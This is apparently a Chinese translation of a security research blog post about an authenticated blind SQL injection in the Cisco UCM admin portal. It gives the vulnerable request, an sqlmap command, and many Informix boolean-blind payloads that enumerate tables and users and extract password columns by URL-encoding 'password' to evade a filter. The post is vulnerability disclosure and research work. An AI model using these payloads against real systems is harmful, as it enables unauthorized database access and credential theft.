Cisco UCM软件中的SQL注入

iso60001  1857天前

22.jpg

介绍

近期,有名客户希望升级他们的Cisco UCM软件,并希望确保产品设置是安全的,因此需要我们进行安全评估。而在这过程中,我们在Cisco UCM的管理员界面发现了一个需要身份验证的SQL注入漏洞。一般来说,SQLMap可以自动帮助我们进行后续渗透。

在得到客户许可后,我使用了如下SQLMap命令:

root@kali~# sqlmap --level=5 --risk=3 -r request.txt

而txt文件的内容如下:

GET /ccmadmin/userGroupFindList.do?searchLimVal3=&searchLimVal4
=&whereClause=1*&searchLimVal1=&searchLimVal2=&searchLimVal7=&s
earchLimVal8=&searchLimVal5=&searchLimVal6=&rowsPerPageControl
=/ccmadmin/userGroupFindList.do?lookup=true&colCnt=4&searchLimV
al0=&lookup=true&rowsPerPage=50&searchLimVal9=&pageNumber=1&rec
Cnt=37&multiple=true HTTP/1.1
Host: <cucm_admin_portal>
Cookies: JSESSIONID=<jsessionid_data>; com.cisco.ccm.admin.serv
lets.RequestToken.REQUEST_TOKEN_KEY=<cisco_data>; JSESSIONIDSSO
=<jsessionidsso_data>
Accept: text/html
Connection: close  

在SQLMap运行完后,我得到了一个数据库:Informix SQL,使用的是布尔盲注。不过SQLMap也并不是全能的:

  • SQLMap能够枚举当前表的名称,但无法枚举其他数据库名称和其他表名称

  • SQLMap能够枚举当前SQL用户名,也发现了还有1000多个用户,但无法枚举其他999个用户

  • SQLMap无法获得applicationuser表中和用户密码相关的任何信息

下面将演示如何确定上述每个问题的根源以及如何解决这些问题。

了解Informix

在开始之前,我们需要更详细的了解Informix SQL

以下是对于systables表的简单介绍:

  • systables表中有所有其他表的信息记录

  • systables表中的不同列表示不同的信息,例如tabname列表示特定表的名称,tabid列表示特定表的ID号

  • 其他列包括ncols表示表的列数,nrows表示表的行数

我们假设有一个表名为yaytableyay。要找出tabid,则可以使用以下查询语句:

SELECT tabid FROM systables WHERE tabname = ‘yaytableyay’
#Returned 54

如果想要找到yaytableyay表的行数,可以进行以下查询:

SELECT nrows FROM systables WHERE tabid = 54
#Returned 15

其次是关于syscolumns表的快速教程:

  • 其中保留每个表中所有列信息

  • syscolumns中的不同列表示不同的信息,例如colname表示特定列的名称,tabid表示列被分配给哪个表

  • 其他信息例如colno,表示系统从左到右按顺序分配的值

如果我们想找出yaytableyay表中第一列的名称:

SELECT colname FROM syscolumns WHERE tabid = 54 AND colno = 1
#returned "yaycolumnnameyay"

此外,每个表都有一个名为rowid的隐藏列。其中值分配给表中的每一行,但在行被删除时不删除。例如,下面的查询由于行被提前删除而没有返回任何数据:

SELECT * FROM yaytableyay WHERE rowid = 1337
#Returned 0 results

当然这行可能根本就不存在。对于使用者来说这两种情况很难区分。

枚举其他表名

要解决SQLMap的问题,最好先抓取流量进行观察。我们发现每当SQLMap枚举其他表名和数据库名时,总会出现以下错误之一:

ERROR: A subquery has returned not exactly one row.
ERROR: "NVL" cannot be used in a query
ERROR: "RTRIM" cannot be used in a query
ERROR: "LIMIT" cannot be used in a query
ERROR: "LENGTH" cannot be used in a query

第一个错误“not exactly one row”似乎是和Informix本身有关。其他错误似乎是受到思科UCM自身安全限制的影响。为此我们需要自定义脚本来解决这个问题。

为了枚举出每个表,我们需要:

  • 计算数据库中有多少个有效表

  • 逐字母列举每个表名

  • 枚举每个表中有多少行和列

为了确定有多少个有效的表,我们需要使用tabid。具体来说,我们用以下语句执行了一些“大于”和“小于”的操作:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1

如果每个表名的tabid大于1,则将返回每个表名的第一个字母的ASCII值。当然这会返回多个结果,服务器也会响应“Result is more than 1 column”,但是这也证明了某些东西的存在。为了进一步说明:

1=1 AND (SELECT ascii(substring(tabname for 1 from 1)) FROM systables WHERE tabid > 100) > 1

现在,我们寻找tabid大于100的表。如果一个表不存在,那么服务器将不响应任何数据。

借此我们可以枚举有多少表在数据库中:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 100) > 1 
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 50) > 1 
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 75) > 1 
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 65) > 1 
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 74) > 1 
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 75) > 1 
#returned no data

现在,我们可以确定当前数据库中的表有75个。

接下来,还需要获得表名。利用ASCII函数仍然是一种选择,我们可以使用类似的逻辑来得到表的数量。下面的语句将确定第一个表名的第一个字母的ASCII值是否大于64:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64

而通过一系列相关语句,我们就可以枚举出第一个字母是什么:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 100
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 102
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) = 101
#returned some data

基于以上所述,第一个表的第一个字母的ASCII值101,也就是e

接下来瞄准下一个字符:

tabname from 1 for 1

替换为

tabname from 2 for 1

很快我们就可以枚举出第二个字母是m

我们假设最后的得到的表名为empire,其余的表名可以使用此方法枚举。

在得到表名后,我们开始获取列的数据。

首先计算出empire中有多少列:

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 1
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 2
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 3
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 4
#returned some data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 5
#returned no data

接下来查询出empire表中第一列的名称:

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 64
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 96
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 80
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 72
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 76
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 74
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) = 73
#returned some data

枚举其他SQL用户

当SQLMap试图枚举其他SQL用户时,会涉及sysusers表。与本文上述内容类似,当SQLMap试图枚举其他用户时,服务器也会返回错误。

在前一节中,我们介绍了如何枚举表。在查找了sysusers表的组织结构之后,发现不可以套用类似方法。根据官方文档,sysusers表的列有:

  • username
  • usertype
  • priority
  • password
  • defrole

此时,我们需要使用隐藏列rowid作为SQL查询的WHERE部分。下面语句用于枚举第一个用户名的第一个字母的ASCII值,此时rowid为1:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 1) > 1
#returned data

在枚举第一个用户名之后,我们可以继续用rowid值枚举其他用户名:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 2) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 3) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 4) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5) > 1
#returned data

有趣的是,当rowid值达到5000,不会返回数据,而5002又会返回数据。

为了解决这个问题,可以使用systables表中的nrows列。因为nrows的值是根据表中非空行的数目确定的。

下面查询可以确定sysusers表的行数:

1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) > 1
#returned some data

最后我们可以确定sysusers表中的行数为1000:

1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) = 1000
#returned data

接下来使用rowidncols来枚举sysusers表中的所有用户名。逐步增加rowid值,配合每次进行循环查询,当返回数据时,再将ncols的值减少1:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1
#returned no data, ncols value is at 444
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1
#returned no data, ncols value is at 444
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1
#returned data, ncols value is at 443
...
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7850) > 1
#returned data, ncols value is at 2
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1
#returned data, ncols value is at 1

由于现已有了一组已知的行id和非空行,我们现在可以更快速地枚举出用户名。

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1
#returned data

枚举用户密码

如前所述,sysusers表中有名为password的数据。此外我们还发现了Cisco UCM软件利用applicationuser表来存储与Cisco UCM软件相关的用户,其中也包含一个password

利用前面所讨论的技术,我们可以枚举出整个app_users表,相关语句如下:

1=1 AND (SELECT ascii(substring(password from 1 for 1)) FROM applicationuser WHERE rowid = 500) > 1
#returned error “Security Exception”

这是一个奇怪的错误信息,谷歌上信息很少。经过一些测试后,我确定服务器只会在尝试枚举任何表中的password列时回复该错误。基于这种行为,我们认为这是应用中的黑名单进行了拦截。

所以我需要通过URL编码绕过这个限制!

1=1 AND (SELECT ascii(substring(%70%61%73%73%77%6f%72%64 from 1 for 1)) FROM app_users WHERE rowid = 500) > 1
#returned data

自定义脚本

由于无法直接使用SQLMap来解决这个问题,因此我们使用两个脚本来解决这个问题。

  • sql_injection_enumerate_tables.py——枚举出数据库中每个表的名称,并将它们存储在名为cisco_tables.txt文件中。
  • sql_injection_extract_table.py——读取cisco_tables文件中的名称并枚举每个条目的内容

这两个脚本都不会自动对特定单词进行URL编码,比如password,建议通过BurpSuite或其他代理工具实现。

补丁

这篇文章中的技术可攻击思科UCM版本11.5.1.14900-11的数据库,目前思科正在研发补丁。

引用

https://labs.f-secure.com/advisories/cisco-ucm-informix-sql-injection

https://github.com/FSecureLABS/Cisco-UCM-SQLi-scripts

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://labs.f-secure.com/blog/uncommon-sql-databa se-alert-informix-sql-injection

最新评论

昵称
邮箱
提交评论